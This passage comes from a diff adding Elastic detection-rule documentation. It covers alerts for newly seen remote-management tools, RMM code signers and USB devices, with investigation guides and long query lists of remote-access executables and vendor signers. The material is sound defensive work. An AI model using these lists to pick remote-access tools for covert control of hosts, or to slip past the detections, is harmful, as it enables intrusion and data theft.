https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/ +* https://github.com/redcanaryco/surveyor/blob/master/definitions/remote-admin.json +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-025a +* https://www.cisa.gov/sites/default/files/2025-06/aa25-163a-ransomware-simplehelp-rmm-compromise.pdf +* https://lolrmm.io/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Remote Management Tool Abuse +* Rule Type: New Terms +* Platform: Windows + +*Version*: 119 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Seen Remote Monitoring and Management Tool* + + + +*Possible investigation steps* + + +- Validate the alert-local process event and identify the matched RMM artifact. + - Focus: `host.name`, `host.id`, `process.name`, `process.executable`, `process.code_signature.subject_name`. + - Review the exact process entity on the alerted host with !{investigate{"description":"Find the exact alerted process entity on the same host around the alert window.","label":"Matched process context","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: The alert proves one Windows process start from the supported process data sources where the `host.id` and `process.name` pair is first seen within the 7-day new terms window; it does not prove the remote session or legitimacy. Close only if the exact host, account, process name, executable, signer, and support or deployment window match a validated change record or verified owner confirmation; otherwise continue. +- Determine why this RMM process is new for the host. + - Focus: `host.id`, `process.name`, `process.executable`, `process.command_line`, `process.hash.sha256`. + - Review same-host executions across the rule history window with !{investigate{"description":"Find same-host executions of the matched process name across the rule history window.","label":"Same host process name history","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.name","queryType":"phrase","value":"{{process.name}}","valueType":"string"}]],"relativeFrom":"now-7d/d","relativeTo":"now"}} + - Implication: Repeated executions clustered around the same deployment or support window can support a bounded benign explanation only when the exact executable, command line, hash, host, and account match the recovered business context. A new hash, renamed executable, unexpected arguments, or executions outside that window keep the case suspicious. +- Reconstruct the parent process and logon context that launched the tool. + - Focus: `process.parent.name`, `process.parent.executable`, `process.parent.command_line`, `process.Ext.session_info.logon_type`, `user.name`. + - Review the parent process entity on the same host with !{investigate{"description":"Recover events for the parent process entity that launched the matched RMM process.","label":"Parent process activity","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Implication: A parent and session that match the same validated change record and account owner confirmation can bound the activity to one workflow. A launch from user-download, browser, archive, script, or unrelated service context is suspicious for social engineering or staged access. +- Inspect endpoint artifacts and child behavior before broader scoping. + - Focus: `process.entity_id`, `process.Ext.ancestry`, `process.args`, `process.working_directory`, `process.Ext.token.elevation_level`. + - Implication: Recover child process, service, file, registry, and persistence evidence from endpoint timeline or live host data before interpretation because those artifact fields are not guaranteed on the alert. Child execution, persistence, unusual working directories, or elevated token use by the matched RMM process supports escalation; absence of recoverable artifacts does not prove benign. +- If local process, parent, and endpoint-artifact evidence is suspicious or incomplete, broaden scope for the RMM hypothesis. + - Focus: `host.id`, `user.name`, `process.name`, `process.hash.sha256`, `process.code_signature.subject_name`. + - Review same host and account activity with !{investigate{"description":"Review activity by the same account on the same host before broader scoping.","label":"Host account activity","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"user.name","queryType":"phrase","value":"{{user.name}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Review the same executable hash across available process events with !{investigate{"description":"Find other executions of the same executable hash when local evidence is suspicious or unresolved.","label":"Executable hash scope","providers":[[{"excluded":false,"field":"process.hash.sha256","queryType":"phrase","value":"{{process.hash.sha256}}","valueType":"string"}]],"relativeFrom":"now-7d/d","relativeTo":"now"}} + - Implication: The hypothesis is RMM staging or reuse across hosts or accounts; matching hash activity, related alerts, or repeated account use should drive host and account scoping plus evidence preservation. No related alerts or hash matches only limits currently observed spread and does not prove benign; exact matches limited to the validated host, account, and time window may support closure after the earlier evidence aligns. + +Disposition: Escalate suspicious RMM artifacts, launch chains, or expanded scope; close only when alert-local evidence and recovered context prove one expected support or deployment workflow on the exact host and account; preserve and escalate mixed or incomplete cases for more context before final disposition. + + +*False positive analysis* + + +- Potential benign cases include first deployment of a remote support tool, first use after host rebuild, a product update that changes `process.name`, or a one-time support session only when alert-local and recovered process evidence match `host.id`, `user.name`, `process.name`, `process.executable`, `process.code_signature.subject_name`, `process.code_signature.trusted`, `process.pe.original_file_name`, and `process.hash.sha256` when available, and that evidence aligns with a verified owner confirmation or validated change record for the observed support or deployment window. +- Do not close on the tool name, signer, executable path, or lack of related alerts alone. Escalate when artifacts indicate social engineering, an unexpected parent or session, a renamed executable, hash mismatch, or unbounded account or host spread. +- Scope exceptions only to durable future-alert fields that match the validated benign workflow, using `host.id`, `user.name`, `process.name`, `process.executable`, `process.code_signature.subject_name`, `process.code_signature.trusted`, `process.pe.original_file_name`, and `process.hash.sha256` when available. Do not scope exceptions by prose-only groups such as support teams or known RMM activity; preserve and escalate mixed or incomplete cases instead of creating broad exclusions. + + +*Response and remediation* + + +- Preserve or export case evidence plus volatile process, memory, executable, or file-system artifacts that could be lost before isolation, process termination, cleanup, or other disruptive action. +- For confirmed malicious activity, scope first by reviewing the matched process, parent and child processes, persistence artifacts, same-hash executions, related alerts, and account activity across affected hosts. +- After evidence capture and initial scoping, isolate affected hosts or disable active remote access paths when containment is required to prevent continued access. +- After containment decisions and evidence review, terminate malicious RMM processes, remove persistence, clean up dropped files or services, revoke active sessions, and reset credentials exposed through the RMM session or related activity. +- If social engineering led to the remote access, validate the user interaction, collect relevant communications or download sources when available, and include affected accounts in credential review. +- Document confirmed indicators and logging or detection gaps for the responsible detection or logging owners after scoping and containment. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type: "windows" and + event.category: "process" and event.type: "start" and + ( + process.code_signature.subject_name : ( + "Action1 Corporation" or + "Aeroadmin LLC" or + "AeroAdmin LLC" or + "AmidaWare LLC" or + "Ammyy LLC" or + "AnyDesk Software GmbH" or + "AOMEI International Network Limited" or + "Atera Networks Ltd" or + "AWERAY PTE. LTD." or + "BeamYourScreen GmbH" or + "Bomgar Corporation" or + "BreakingSecurity.net" or + "ConnectWise, Inc." or + "ConnectWise, LLC" or + "Connectwise, LLC" or + "Devolutions Inc" or + "Devolutions inc." or + "DOMOTZ INC." or + "DUC FABULOUS CO.,LTD" or + "DWSNET OÜ" or + "DWSNET srl" or + "Electronic Team, Inc." or + "Famatech Corp." or + "FleetDeck Inc" or + "GlavSoft LLC" or + "GlavSoft LLC." or + "GoTo Technologies USA, LLC" or + "Hefei Pingbo Network Technology Co. Ltd" or + "IDrive, Inc." or + "Impero Solutions Limited" or + "IMPERO SOLUTIONS LIMITED" or + "Instant Housecall" or + "ISL Online Ltd." or + "JumpCloud Inc" or + "Level Software, Inc." or + "LogMeIn, Inc." or + "LUNIXAR SAS DE CV" or + "MMSOFT Design Ltd." or + "Monitoring Client" or + "MSPBytes Corp" or + "MSPBytes, Corp." or + "N-ABLE TECHNOLOGIES LTD" or + "Nanosystems S.r.l." or + "NetSupport Ltd" or + "NetSupport Ltd." or + "NETSUPPORT LTD." or + "NinjaOne LLC" or + "NinjaRMM, LLC" or + "Open Source Developer, Huabing Zhou" or + "Parallels International GmbH" or + "philandro Software GmbH" or + "Pro Softnet Corporation" or + "PURSLANE" or + "RealVNC" or + "RealVNC Limited" or + "REMOTE UTILITIES PTE. LTD." or + "Remote Utilities LLC" or + "Rocket Software, Inc." or + "Rsupport Co., Ltd." or + "SAFIB" or + "ScreenConnect Client" or + "Servably, Inc." or + "Servably Inc." or + "ShowMyPC INC" or + "SimpleHelp Ltd" or + "Splashtop Inc." or + "Superops Inc." or + "Tailscale Inc." or + "TeamViewer" or + "TeamViewer GmbH" or + "TeamViewer Germany GmbH" or + "Techinline Limited" or + "uvnc bvba" or + "Yakhnovets Denis Aleksandrovich IP" or + "Zhou Huabing" or + "ZOHO Corporation Private Limited" + ) or + + process.name.caseless : ( + AA_v*.exe or + "AcronisCyberProtectConnectAgent.exe" or + "AeroAdmin.exe" or + "AgentMon.exe" or + "AnyDesk.exe" or + "apc_Admin.exe" or + "apc_host.exe" or + "AteraAgent.exe" or + aweray_remote*.exe or + "AweSun.exe" or + "B4-Service.exe" or + "BASupSrvc.exe" or + "bomgar-scc.exe" or + "CagService.exe" or + "CloudRaCmd.exe" or + "CloudRaSd.exe" or + "CloudRaService.exe" or + ConnectWiseControl*.exe or + "connectwisecontrol.client.exe" or + "domotzagent.exe" or + "domotz-windows-x64-10.exe" or + "dwagsvc.exe" or + "DWRCC.exe" or + "dwrcs.exe" or + "dwrcst.exe" or + fleetdeck_commander*.exe or + "g2aservice.exe" or + "getscreen.exe" or + "GoToAssistService.exe" or + "GoToResolveProcessChecker.exe" or + "GoToResolveRemoteControl.exe" or + "GoToResolveService.exe" or + "GoToResolveTerminal.exe" or + "GoToResolveUnattended.exe" or + "gotohttp.exe" or + "helpwire.exe" or + "ImmyAgent.exe" or + "ImmyBot.Agent.Ephemeral.exe" or + "ImmyUpdater.exe" or + "ImperoClientSVC.exe" or + "ImperoServerSVC.exe" or + "ISLLight.exe" or + "ISLLightClient.exe" or + "jumpcloud-agent.exe" or + "komari.exe" or + "komari-agent.exe" or + "level.exe" or + "lmi_rescue.exe" or + "lmi_rescue_srv.exe" or + "LMIIgnition.exe" or + "LogMeIn.exe" or + "ltsvc.exe" or + "ltsvcmon.exe" or + "lttray.exe" or + "Lunixar.exe" or + "LunixarRemote.exe" or + "LunixarUpdater.exe" or + "LvAgent.exe" or + "ManageEngine_Remote_Access_Plus.exe" or + "MeshAgent.exe" or + "Mikogo-Service.exe" or + "nezha-agent.exe" or + "NinjaRMMAgent.exe" or + "NinjaRMMAgentPatcher.exe" or + "ninjarmm-cli.exe" or + "parsec.exe" or + "PService.exe" or + "quickassist.exe" or + "r_server.exe" or + "radmin.exe" or + "radmin3.exe" or + "rcengmgru.exe" or + "RCClient.exe" or + "rcmgrsvc.exe" or + "RCService.exe" or + "Remote Support.exe" or + "RemoteDesktopManager.exe" or + "Remotely_Agent.exe" or + "Remotely_Desktop.exe" or + "RemotePC.exe" or + "RemotePCDesktop.exe" or + "RemotePCService.exe" or + "remoteview.exe" or + "rfusclient.exe" or + "RMM.Agent.exe" or + "ROMServer.exe" or + "ROMViewer.exe" or + "RPCSuite.exe" or + "rserver3.exe" or + "rustdesk.exe" or + "rutserv.exe" or + "rutview.exe" or + "rvagent.exe" or + "rvagtray.exe" or + "saazapsc.exe" or + ScreenConnect*.exe or + "ScreenConnect.ClientService.exe" or + "session_win.exe" or + "simplegatewayservice.exe" or + "simplehelpcustomer.exe" or + "smpcview.exe" or + "spclink.exe" or + "Splashtop-streamer.exe" or + "SplashtopSOS.exe" or + "spsrv.exe" or + "sragent.exe" or + "SRService.exe" or + "srmanager.exe" or + "srserver.exe" or + "strwinclt.exe" or + "Supremo.exe" or + "SupremoService.exe" or + "Syncro.App.Runner.exe" or + "Syncro.Installer.exe" or + "Syncro.Overmind.Service.exe" or + "Syncro.Service.exe" or + "SyncroLive.Agent.exe" or + "SyncroLive.Agent.Runner.exe" or + "SyncroLive.Service.exe" or + "tacticalrmm.exe" or + "tailscale.exe" or + "tailscaled.exe" or + "teamviewer.exe" or + "teamviewer_desktop.exe" or + "teamviewer_service.exe" or + "TiAgent.exe" or + "TiClientCore.exe" or + "ToDesk_Service.exe" or + "ToolsIQ.exe" or + "TSClient.exe" or + "tvn.exe" or + "tvnserver.exe" or + "tvnviewer.exe" or + "twingate.exe" or + UltraVNC*.exe or + UltraViewer*.exe or + "Velociraptor.exe" or + "vncserver.exe" or + "vncviewer.exe" or + "winvnc.exe" or + "winwvc.exe" or + "ZA_Access.exe" or + "za_connect.exe" or + "Zaservice.exe" or + "ZMAgent.exe" or + "ZohoMeeting.exe" or + "zohotray.exe" or + "ZohoURS.exe" or + "ZohoURSService.exe" + ) + ) and + not (process.pe.original_file_name : ("G2M.exe" or "Updater.exe" or "powershell.exe") and process.code_signature.subject_name : "LogMeIn, Inc.") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Sub-technique: +** Name: Remote Desktop Software +** ID: T1219.002 +** Reference URL: https://attack.mitre.org/techniques/T1219/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-removable-device.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-removable-device.asciidoc new file mode 100644 index 0000000000..12ea9236af --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-removable-device.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-first-time-seen-removable-device]] +=== First Time Seen Removable Device + +Identifies newly seen removable devices by device friendly name using registry modification events. While this activity is not inherently malicious, analysts can use those events to aid monitoring for data exfiltration over those devices. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.registry-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://winreg-kb.readthedocs.io/en/latest/sources/system-keys/USB-storage.html +* https://learn.microsoft.com/en-us/windows-hardware/drivers/usbcon/usb-device-specific-registry-settings + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Exfiltration +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Windows + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating First Time Seen Removable Device* + + +Removable devices, like USB drives, are common in Windows environments for data transfer. Adversaries exploit these to introduce malware or exfiltrate data, leveraging their plug-and-play nature. The detection rule monitors registry changes for new device names, signaling potential unauthorized access. By focusing on first-time-seen devices, it helps identify suspicious activities linked to data exfiltration or initial access attempts. + + +*Possible investigation steps* + + +- Review the registry event details to confirm the presence of a new device by checking the registry.value for "FriendlyName" and registry.path for USBSTOR. +- Correlate the timestamp of the registry event with user activity logs to identify which user was logged in at the time of the device connection. +- Check for any subsequent file access or transfer events involving the new device to assess potential data exfiltration. +- Investigate the device's history by searching for any previous connections to other systems within the network to determine if it has been used elsewhere. +- Analyze any related alerts or logs from data sources like Elastic Endgame, Sysmon, or Microsoft Defender XDR for additional context or suspicious activities linked to the device. + + +*False positive analysis* + + +- Frequent use of company-issued USB drives for legitimate data transfer can trigger alerts. Maintain a list of approved devices and create exceptions for these in the monitoring system. +- Software updates or installations via USB drives may be flagged. Identify and whitelist known update devices or processes to prevent unnecessary alerts. +- IT department activities involving USB devices for maintenance or troubleshooting can appear suspicious. Coordinate with IT to log and exclude these routine operations from triggering alerts. +- Devices used for regular backups might be detected as new. Ensure backup devices are registered and excluded from the rule to avoid false positives. +- Personal USB devices used by employees for non-work-related purposes can cause alerts. Implement a policy for registering personal devices and exclude them if deemed non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent potential data exfiltration or further spread of malware. +- Conduct a thorough scan of the isolated host using updated antivirus and anti-malware tools to identify and remove any malicious software introduced via the removable device. +- Review and analyze the registry changes logged by the detection rule to confirm the legitimacy of the device and assess any unauthorized access attempts. +- If malicious activity is confirmed, collect and preserve relevant logs and evidence for further forensic analysis and potential legal action. +- Notify the security team and relevant stakeholders about the incident, providing details of the device and any identified threats. +- Implement a temporary block on the use of removable devices across the network until the threat is fully contained and remediated. +- Enhance monitoring and detection capabilities by updating security tools and rules to better identify similar threats in the future, focusing on registry changes and device connections. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:"registry" and host.os.type:"windows" and registry.value:"FriendlyName" and registry.path:*USBSTOR* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Replication Through Removable Media +** ID: T1091 +** Reference URL: https://attack.mitre.org/techniques/T1091/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Physical Medium +** ID: T1052 +** Reference URL: https://attack.mitre.org/techniques/T1052/ +* Sub-technique: +** Name: Exfiltration over USB +** ID: T1052.001 +** Reference URL: https://attack.mitre.org/techniques/T1052/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-rmm-signer-across-the-environment.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-rmm-signer-across-the-environment.asciidoc new file mode 100644 index 0000000000..afdb1ccc0d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-rmm-signer-across-the-environment.asciidoc @@ -0,0 +1,228 @@ +[[prebuilt-rule-8-19-34-first-time-seen-rmm-signer-across-the-environment]] +=== First Time Seen RMM Signer Across the Environment + +Identifies a newly observed RMM-related code-signature subject across the Windows Elastic Defend hosts. Attackers often use RMM tools to gain remote access to victim machines and deploy malware. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/ +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-025a +* https://www.cisa.gov/sites/default/files/2025-06/aa25-163a-ransomware-simplehelp-rmm-compromise.pdf +* https://lolrmm.io/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Remote Management Tool Abuse +* Rule Type: New Terms +* Platform: Windows + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Seen RMM Signer Across the Environment* + + +Attackers abuse legitimate RMM and remote-access software to open interactive sessions, persist, and stage follow-on tooling while blending into IT support activity. This rule alerts on a Windows Elastic Defend process start whose `process.code_signature.subject_name` matches a curated vendor list, when that subject is first seen across the visible fleet in the 10-day new_terms history window. Novelty is keyed only on the signer subject, so each certificate string alerts once environment-wide and renamed binaries that still carry a listed signer still match. Signature trust is not a query condition; review `process.code_signature.trusted` as context only. + + +*Possible investigation steps* + + +- Is the matched binary a remote-access component, or an unrelated product that shares this signer? + - Focus: `process.executable`, `process.name`, `process.pe.original_file_name`, `process.command_line`. + - Review the other binaries this signer started on the alerted host with !{investigate{"description":"Show which binaries sharing the matched code-signature subject started on the alerted host during the investigation window.","label":"Signer footprint on the alerted host","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.code_signature.subject_name","queryType":"phrase","value":"{{process.code_signature.subject_name}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - Implication: Several vendors on this list also ship backup, virtualization, terminal-emulation, and management software under the same certificate, so a signer's first appearance is often not its remote-access product. A path, original file name, and command line matching the vendor's remote-access agent keeps that hypothesis active. An unrelated product from the same vendor makes this a low-value observation that still consumes the signer's novelty term, so confirm the vendor's remote-access footprint now rather than waiting for a later alert this rule will not produce. +- Does the parent and session context explain why this process launched on this host? + - Focus: `process.parent.executable`, `process.parent.command_line`, `process.Ext.session_info.logon_type`, `process.Ext.token.elevation_level`, `user.name`. + - Retrieve the parent process event while the parent entity is still retained with !{investigate{"description":"Find the parent process event for the matched launch when the parent entity is retained.","label":"Parent process context","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - Implication: A parent consistent with a software-deployment service or a scheduled management task keeps this inside a rollout hypothesis. A launch from a browser, archive, mail client, script interpreter, or an unexpected interactive session points instead to social engineering or staged access. +- What did the matched process start after launch? + - Focus: child `process.name`, `process.command_line`, `process.parent.entity_id`. + - Review child process starts on the same host with !{investigate{"description":"Find child process starts spawned by the matched process on the same host.","label":"Child process starts","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - Implication: No child process evidence is unresolved, not benign. Children limited to the vendor's own service and updater binaries stay consistent with normal tool operation without proving the deployment was authorized, while child shells, script interpreters, discovery commands, or credential tooling are suspicious. +- Did the same process perform remote-access network activity that changes the host scope? + - Focus: `destination.ip`, `destination.port`, `network.direction`. + - Review endpoint network events for the same process entity with !{investigate{"description":"Search for endpoint network events tied to the matched process entity on the same host.","label":"Same-process network events","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - Implication: Missing network telemetry is unresolved, not benign. Sessions to the vendor's own service endpoints show the tool operating normally but do not establish who initiated the session, while connections to unrelated external infrastructure keep the case open for escalation and wider scoping. +- If local evidence is suspicious or unresolved, is the same signer or executable hash appearing beyond the alerted host? + - Focus: `process.code_signature.subject_name`, `process.hash.sha256`, `process.executable`, `host.name`, `user.name`. + - Review recent process starts sharing the matched signer or executable hash with !{investigate{"description":"Search the 24-hour investigation window for process starts that share the matched signer or executable hash. Widen the Timeline range to look further back.","label":"Recent signer and hash spread","providers":[[{"excluded":false,"field":"process.code_signature.subject_name","queryType":"phrase","value":"{{process.code_signature.subject_name}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}],[{"excluded":false,"field":"process.hash.sha256","queryType":"phrase","value":"{{process.hash.sha256}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}}; the pivot is bounded to the last 24 hours for performance, so widen the Timeline range when the deployment window or suspected activity is older. + - Implication: Additional hosts or users shift the hypothesis from a single host deployment to an environment-wide remote-access introduction and should expand response scope. This rule reports a signer once for the whole fleet, so it will not alert again for this vendor and will not alert at all on a renamed binary reusing an already-observed signer; a clean 24-hour pivot therefore bounds recent spread only and is not evidence that spread has stopped. + +After these checks, escalate when source process, parent, network, or cross-host evidence is suspicious; close only when alert-local and recovered evidence prove the exact expected host/user/signer/hash scope with verified owner confirmation; preserve and escalate mixed or incomplete cases for more context. + + +*False positive analysis* + + +- This rule can alert on a real but expected first appearance of a listed signer when a software rollout, support session, or vendor agent introduction reaches the Elastic Defend fleet for the first time in the 10-day history window. +- Treat benign disposition as evidence-bounded: the alert's `process.code_signature.subject_name`, `process.executable`, `process.hash.sha256`, `host.id`, `host.name`, `user.id`, and `user.domain` should match a validated change record or verified owner confirmation for the exact system and activity. +- Treat `process.code_signature.trusted` as contextual evidence, not clearance: a trusted signature does not establish authorization or benign intent, and an untrusted, invalid, or missing trust value does not by itself prove malicious use. +- Certificate subjects that differ only in case or punctuation are separate novelty terms, so a single vendor can produce more than one alert as its certificate strings drift across products and releases. Correlate those and treat them as one introduction rather than as repeat findings. +- When justified, scope an exception conjunctively to the exact `process.code_signature.subject_name` plus `process.executable`, further bounded by supported host/user anchors such as `host.id`, `host.name`, `user.id`, or `user.domain`; never exclude on signer alone. `process.hash.sha256` is precise for scoping one investigation but is not a durable exception anchor, because the vendor's next release changes it and the exception silently stops matching. +- Expect an exception to have limited effect here, because the first alert already consumes that signer's novelty term for the history window; an exception only applies if the signer disappears from the visible fleet for more than 10 days and returns. `user.name` appears in the Focus lines for readability during analysis, while exception criteria prefer `user.id` and `user.domain` as stable identifiers rather than display names. + + +*Response and remediation* + + +- Preserve or export case evidence plus volatile process, memory, executable, and file-system artifacts that could be lost before isolation, process termination, cleanup, or other disruptive action. +- Scope the activity by signer, executable hash, process entity, host, and user before containment; include child processes, same-process network events when available, and any later hosts that show the same signer or hash. +- If malicious use is confirmed, contain affected hosts through the endpoint response integration when available and contain affected accounts using reversible controls first; if direct endpoint response is unavailable, document the collected evidence and artifacts and hand them off to the responsible endpoint or incident-response team able to act. After evidence collection and scoping, terminate malicious processes, remove persistence, and clean up remote-access tooling. +- Review collected evidence for credential exposure, lateral movement, and follow-on tooling before final remediation decisions. +- Document confirmed indicators and any logging or detection gaps for the responsible detection or logging owners after scoping and containment. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type: "windows" and +event.category: "process" and event.type: "start" and +process.code_signature.subject_name: ( + "Action1 Corporation" or + "Aeroadmin LLC" or + "AeroAdmin LLC" or + "AmidaWare LLC" or + "Ammyy LLC" or + "AnyDesk Software GmbH" or + "AOMEI International Network Limited" or + "Atera Networks Ltd" or + "AWERAY PTE. LTD." or + "BeamYourScreen GmbH" or + "Bomgar Corporation" or + "BreakingSecurity.net" or + "ConnectWise, Inc." or + "ConnectWise, LLC" or + "Connectwise, LLC" or + "Devolutions Inc" or + "Devolutions inc." or + "DOMOTZ INC." or + "DUC FABULOUS CO.,LTD" or + "DWSNET OÜ" or + "DWSNET srl" or + "Electronic Team, Inc." or + "Famatech Corp." or + "FleetDeck Inc" or + "GlavSoft LLC" or + "GlavSoft LLC." or + "GoTo Technologies USA, LLC" or + "Hefei Pingbo Network Technology Co. Ltd" or + "IDrive, Inc." or + "Impero Solutions Limited" or + "IMPERO SOLUTIONS LIMITED" or + "Instant Housecall" or + "ISL Online Ltd." or + "JumpCloud Inc" or + "Level Software, Inc." or + "LogMeIn, Inc." or + "LUNIXAR SAS DE CV" or + "MMSOFT Design Ltd." or + "Monitoring Client" or + "MSPBytes Corp" or + "MSPBytes, Corp." or + "N-ABLE TECHNOLOGIES LTD" or + "Nanosystems S.r.l." or + "NetSupport Ltd" or + "NetSupport Ltd." or + "NETSUPPORT LTD." or + "NinjaOne LLC" or + "NinjaRMM, LLC" or + "Open Source Developer, Huabing Zhou" or + "Parallels International GmbH" or + "philandro Software GmbH" or + "Pro Softnet Corporation" or + "PURSLANE" 